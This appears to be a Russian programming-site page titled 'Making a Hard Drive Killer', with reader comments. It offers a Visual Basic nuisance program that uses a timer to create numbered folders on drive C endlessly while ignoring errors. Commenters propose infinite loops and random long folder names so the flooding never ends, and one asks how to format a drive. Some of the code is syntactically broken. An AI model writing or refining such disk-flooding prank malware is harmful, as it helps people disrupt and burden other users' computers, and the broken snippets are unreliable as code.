Программирование
Веб программирование

Делаем Убийцу Винта

 
 
Dim papka As Long ' вводим переменную papka, для подсчета номера папки
Private Sub Form_Load()
papka = 0
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
On Error Resume Next ' если происходит ошибка при создании папки, то игнорируем ее
MkDir "C:Папка №" & papka ' создаем папку с номером равным переменной papka
papka = papka + 1 ' Это что - то типо счетчика, каждый раз на один больше
End Sub 

Есть вопросы? Спроси на нашем форуме!!
Гость [26.09.2010 22:53]

напишите как находить и удалять вредоносные программы.

<=> [18.12.2010 18:55]

Через касперского =)

Гость [19.02.2011 15:54]

Подробнее об этом можно узнать здесь www.kaspersky.ru ;-) :-D

Вл@дислав [27.05.2011 22:40]

и в чем "убийство"? в заполонении винта папками?

padre03 [27.05.2011 23:14]

ага, миллиардами папок ))

dentalon [17.08.2011 14:39]

Сделайте так:

Private Sub Form_Load
Dim papka as Currency
(для Access)
For papka = 1 To 9999999

MkDir C:\"Новая папка" & papka

Эта процедура на диске C создаст 9999999 ПАПОК!!!

skull [24.03.2012 16:09]

нужны 100000000000 папок чтоб винт начал тупить)

Виктор [24.03.2012 16:55]

Цикл можно увеличить

Виктор [24.03.2012 16:55]

Или сделать бесконечным

NaRaN [17.05.2012 08:34]

А как форматнуть винт???

hex [19.05.2012 23:57]

Убийца Винта только в том смысле если его форматируют, а это хрень

Коннектор [23.05.2012 00:32]

Нее убить винт, это невозможное его использование =)

Морзе [20.11.2012 19:46]

А если в строках
Private Sub Timer1_Timer()
On Error Resume Next
MkDir "C:Папка №" & papka
papka = papka + 1
End Sub
там где написано
papka=papka+1
сделать
papka= papka + 100000000000000
то он создаст больше папок или нет?

Алексей(alex13sh) [20.11.2012 20:23]

ХАХАХХА
нет
ваше и так и так будет кол во одникавое ну у вас то название другое
короче не верно мыслите

виталик [09.12.2012 15:55]

просто если хотите нескончаемую процедуру исбользуйте рандом букв и цыфр и длинное (20 символов к примеру) название папки

виталик [09.12.2012 15:58]

а можно и длину имени впринципе тоже рандомно

FireDay [09.12.2012 17:38]

Зачем выкладывать подобный бред на все общее обозрение?

EverybodyLies [09.12.2012 23:52]

FireDay, я бы с радостью снес 40-70% статей :)

Kулхацкер [10.12.2012 05:14]

Дай волю в руки Лайса - он Ивана Грозного переплюнет.

EverybodyLies [10.12.2012 11:57]

и не говори, сам ужасаюсь

Samou4120 [08.03.2013 12:04]

Морзе, просто будут созданы папки с именами :
Папка №100000000000000
Папка №200000000000000
Папка №300000000000000
Папка №400000000000000...
и тд до хз скольки

хотя ламера такие имена папок более напугают =D

Ivan40 [20.07.2013 23:36]

А как написать антивирус для Windows 7? Ведь зачем убивать Винду? Можно её починить!

Coolhacker770 [21.07.2013 06:51]

для этого, как ни странно, необходимо писать различные вирусы. чтоб понять принцип их работы. просто не надо поддаваться соблазну их распространять.

Coolhacker770 [21.07.2013 06:51]

а тем временем кол-во моих комментов перевалило за сотню. вот это - 105'ый.

ReDoX170 [21.07.2013 08:24]

Ну и 108'ой заодно

Ivan40 [21.07.2013 10:27]

И, наконец, 109! :) Тогда какой смысл делать убийцу Винта? :)

Coolhacker770 [21.07.2013 11:06]

110'й. это вообще не убийца винта.

Coolhacker770 [21.07.2013 11:08]

кстати, эту статью писал администратор сайта. о ней ничего плохого говорить нельзя. хотя, я ж говорю и со мною ничего не слу



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.